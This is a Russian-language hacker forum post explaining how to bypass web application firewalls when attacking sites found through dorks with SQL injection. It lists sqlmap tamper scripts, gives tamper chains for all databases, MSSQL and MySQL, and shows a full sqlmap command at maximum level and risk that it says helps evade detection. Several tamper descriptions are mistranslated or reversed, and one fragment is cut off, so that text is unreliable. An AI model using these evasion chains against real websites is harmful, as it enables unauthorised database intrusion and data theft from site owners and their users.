Обучение

Обучение

Life-Hack

Приветствую всех, давно не писал статьи, на моем любимом борде так как очень был занят в offlin-e, но я вернулся не на долго правда но все же я с Вами!

В этой статье речь пойдет о обхода WAF! Вы конечно же спросите что за херь такая waf!? Отвечу по своему, к примеру Вы нашли по дорку уязвимый сайт закинули ссылку например в havij (морковка) или в jsql ну и конечно же в sqlmap и он не пробивается (сайт) и через прокси (--proxy=) и с заменой агента(--user-agent)

и т.д., так вот этот WAF и не дает нам с успехом это сделать собственно, он для этого и предназначен защищать сайты от нас))

Но спешу Вас обкрадывать ниже я представлю Вам список tamper-ов, которые с легкостью обходят эту защиту не всегда, но в основном шансы пробития защиты увеличиваются, а также представлю связки tamper-ов которые подходят для определенных баз данных их бывает несколько видов SQLite, MySQL, ну и конечно всем знакомый обладателями kali-linux --> PostgreSQL и т.д.

вот список tamper-ов с моим корявы переводом)

apostrophemask.py заменяет символ одинарной кавычки на символы UTF-8
apostrophenullencode.py заменяет символы одинарной кавычки на Unicode двойного байта
appendnullbyte.py, добавляет нулевой символ в конце кодирования полезной нагрузки
base64encode.py использует кодирование Base64 для данной полезной нагрузки
between.py, “the BETWEEN the AND # #” is replaced with “NOT BETWEEN 0 AND #” replace greater-than sign “>” equal sign “=”
bluecoat.py заменяет пробелы допустимым случайным пробелом, сопровождаемым запросом. Альтернативно ставится знак равенства “=”
chardoubleencode.py использует двойное кодирование URL для данной полезной нагрузки все символы (не, обрабатываетт символы, уже закодированные),
charencode.py использует кодирование URL для данной полезной нагрузки, все знаки (не, обращается со знаками, уже закодированными),
charunicodeencode.py использует кодирование URL Unicode для данной полезной нагрузки незакодированного характера (характер уже не обращается закодированный),
concat2concatws.py заменитель, заменяет “CONCAT_WS (0), 0, 0), A, B)” на“CONCAT (A, B)”
equaltolike.py  заменяет похожие операторы  на  знак равенства “=”
greatest.py вместо “>” использует “GREATEST” функцию
halfversionedmorekeywords.py добавляет произвольные MySQL коментарии перед каждым ключевым словом
ifnull2ifisnull.py with “IF (ISNULL (A), B, A)” заменяет “IFNULL (A, B)” примеры
lowercase.py заменяет  значения из каждого нижнего регистра символа и ключевого слова
modsecurityversioned.py окружает полный запрос комментариями
modsecurityzeroversioned.py окружает комментарии, "0" полным запросом
multiplespaces.py добавляет больше пробелов вокруг ключевых слов SQL
nonrecursivereplacement.py заменяет предопределенные ключевые слова, используя представленные SQL
overlongutf8.py преобразовывает все символы в полезную нагрузку
percentage.py добавляет знак процента % перед каждым символом
randomcase.py случайная символьная замена регистра для каждого ключевого слова
randomcomments.py вставляет случайные комментарии в ключевые слова SQL
securesphere.py добавляет последовательность через специальную конфигурацию
sp_password.py Добавляет ‘sp_password’ до конца полезной нагрузки для автоматической путаницы от регистрационных файлов DBMS
space2comment.py заменяет пробелы “/ ** /”
space2dash.py подчеркивает штриховой линией символ комментария “-” сопровождает перевод строки в случайный ряд символов и заменяет пробелы
space2hash.py комментируют символ “#” сопровождаемый переводом строки в случайный ряд символов и заменяют пробел
space2morehash.py тоже самое что и hash.py
space2mssqlblank.py заменяет пробелы, рядом допустимого кандидата среди набора случайного символьного пробела
space2mssqlhash.py комментируют символ “#” сопровождаемый пробелом, чтобы заменить на новую строку
space2mysqlblank.py заменяет пробелы рядом допустимого кандидата среди набора случайного символьного пробела
space2mysqldash.py подчеркивает штриховой линией символ комментария “-” сопровождает и заменяет символы перевода строки пробелы
space2plus.py добавляет плюс “+” с пробелами
space2randomblank.py заменяет пробелы рядом допустимого кандидата, среди набора, случайного символьного пробела
unionalltounion.py заменяет UNION ALL SELECT на UNION SELECT
unmagicquotes.py использует и заменяет multi-byte% bf% 27 и конец общих сведений заменяет пробелами
varnish.py добавляет в HTTP header “X-originating-IP” для обхода WAF
versionedkeywords.py окружает каждый функциональный клавишей не комментируя с базы MySQL
versionedmorekeywords.py окружает каждое ключевое слово "запрос" в MySQL записи

вот и связки tamper-ов:

это универсальный набор подходит для всех баз данных:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes


MSSQL:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes


MySQL:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor


Пример применения инструмента в sqlmap

sqlmap -u ‘http://www.site.com:80/search.cmd?form_state=1’ –level=5 –risk=3 -p ‘item1’ –tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

vel=5 –risk=3 указывать обязательно, так как это дает шанс уклонится от обнаружения!

--level=LEVEL      Уровень тестирования (1-5, дефолтно 1)
--risk=RISK        Риск тестирования (0-3, дефолтно 1)

Так же хочу сказать пару слов о проге sqlmap он создан хакерами для хакеров) очень гибкий инструмент лучшего для взлома и пентеста, я не встречал, он сравним с хирургическим скальпелем и достоин большого внимания но как правило про такие инструменты на RU пространстве написано мало, по пытаюсь в свою очередь этот пробел восполнить и поверьте он много чего еще интересного умеет но об этом потом)

Удачи! Источник

Report Page